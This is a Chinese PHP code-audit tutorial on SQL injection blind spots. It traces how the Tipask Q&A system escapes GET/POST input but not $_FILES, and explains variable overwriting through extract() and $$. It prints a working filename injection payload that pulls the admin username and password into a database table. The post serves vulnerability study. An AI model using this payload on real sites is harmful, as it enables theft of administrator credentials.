• 【PHP代码审计】 那些年我们一起挖掘SQL注入


    0x01 背景

    现在的WEB应用对SQL注入的防护基本都是判断GPC是否开启,然后使用addlashes函数对单引号等特殊字符进行转义。但仅仅使用这样的防护是存在很多盲点的,接上篇http://www.cnbraid.com/2016/04/29/sql5/,这里介绍另外两种情况。
    盲点如下:
    ①FILES注入,全局只转义掉GET、POST等传来的参数,遗漏了FILES;
    ②变量覆盖,危险函数:extract()、parse_str()、$$。

    0x02 漏洞分析

    FILES注入

    FILES注入一般情况是是因为上传时把上传的名字带到insert入库产生的,这里看下tipask问答系统
    首先看看它的全局防护是怎么处理的:

    index.php里:
    include TIPASK_ROOT . '/model/tipask.class.php';
    $tipask = new tipask();
    $tipask->run();
    ... ...
    跟进到/model/tipask.class.php里:
    function init_request() {
    ... ...
    $this->get = taddslashes($this->get, 1);
    $this->post = taddslashes(array_merge($_GET, $_POST));
    checkattack($this->post, 'post');
    checkattack($this->get, 'get');
    unset($_POST);
    }

     

    可以看到对get和post传来的数据进行了addslashes特殊转义处理,对$_FILES没有任何处理操作,我们全局搜索$_FILES,发现/control/attach.php有上传处理,我们跟进:

    <?php
    function onupload() {
    //上传配置
    $config = array(
    "uploadPath" => "data/attach/", //保存路径
    "fileType" => array(".rar", ".doc", ".docx", ".zip", ".pdf", ".txt", ".swf", ".wmv", "xsl"), //文件允许格式
    "fileSize" => 10 //文件大小限制,单位MB
    );

    //文件上传状态,当成功时返回SUCCESS,其余值将直接返回对应字符窜
    $state = "SUCCESS";
    $clientFile = $_FILES["upfile"];
    if (!isset($clientFile)) {
    echo "{'state':'文件大小超出服务器配置!','url':'null','fileType':'null'}"; //请修改php.ini中的upload_max_filesize和post_max_size
    exit;
    }

    //格式验证
    $current_type = strtolower(strrchr($clientFile["name"], '.'));
    if (!in_array($current_type, $config['fileType'])) {
    $state = "不支持的文件类型!";
    }
    //大小验证
    $file_size = 1024 * 1024 * $config['fileSize'];
    if ($clientFile["size"] > $file_size) {
    $state = "文件大小超出限制!";
    }
    //保存文件
    if ($state == "SUCCESS") {
    $targetfile = $config['uploadPath'] . gmdate('ym', $this->time) . '/' . random(8) . strrchr($clientFile["name"], '.');
    $result = $_ENV['attach']->movetmpfile($clientFile, $targetfile);
    if (!$result) {
    $state = "文件保存失败!";
    } else {
    //这里将上传的文件名带入数据库查询
    $_ENV['attach']->add($clientFile["name"], $current_type, $clientFile["size"], $targetfile, 0);
    }
    }
    //向浏览器返回数据json数据
    echo '{"state":"' . $state . '","url":"' . $targetfile . '","fileType":"' . $current_type . '","original":"' . $clientFile["name"] . '"}';
    }

     

    可以看到这句$_ENV[‘attach’]->add($clientFile[“name”]…),将$clientFile[name] = $_FILES[“upfile”][name]带入了如下add入库的操作,从而造成注入。

    <?php
    function add($filename,$ftype,$fsize,$location,$isimage=1) {
    $uid=$this->base->user['uid'];
    $this->db->query("INSERT INTO ".DB_TABLEPRE."attach(time,filename,filetype,filesize,location,isimage,uid) VALUES ({$this->base->time},'$filename','$ftype','$fsize','$location',$isimage,$uid)");
    return $this->db->insert_id();
    }

     

    上传一个文件,然后修改文件名称为以下代码即可获取管理员账户密码:

    filename="1','.php',1,(select concat(username,0x23,password) from ask_user limit 1),2,1)#.jpg" 

    数据库里成功将管理员账户密码插入到attach表中:

    变量覆盖

    出现比较多的是extract函数,例如extract($_POST)会直接从POST数组中取出变量,覆盖掉之前的一些变量。

    <?php
    $a=222333;
    @extract($_POST);
    print_r($a);

     

    浏览器里post直接传a=1发现成功覆盖了变量a的值

    目前看乌云的案例http://www.wooyun.org/bugs/wooyun-2014-053189是出现在覆盖表前缀上。
    $$变量覆盖
    原理其实跟上面一样,有个很经典的$$变量覆盖的代码:

    <?php
    $a=22333;
    foreach(array('_COOKIE','_POST','_GET') as $_request){
    foreach($$_request as $_key=>$_value){
    $$_key = addslashes($_value);
    }
    }
    echo $a;

     

    测试发现成功覆盖了变量a

    案例:http://www.wooyun.org/bugs/wooyun-2010-055338

    本文由HackBraid整理总结,原文链接:http://www.cnbraid.com/2016/05/10/sql6/,如需转载请联系作者。

  • 相关阅读:
    windows计数器和瓶颈
    SQL Server 2005的Resource数据库
    Android学习笔记 json数据的解析
    android的消息处理机制(图+源码分析)——Looper,Handler,Message
    JS刷新验证码
    Java取得Unix的timestamp
    (转载)DBMS_SQL package 学习
    关于Java中Http下载的一些整理
    (转载)sqlserver内存释放
    关于EL表达式
  • 原文地址:https://www.cnblogs.com/xiaozi/p/5538383.html
Copyright © 2020-2023  润新知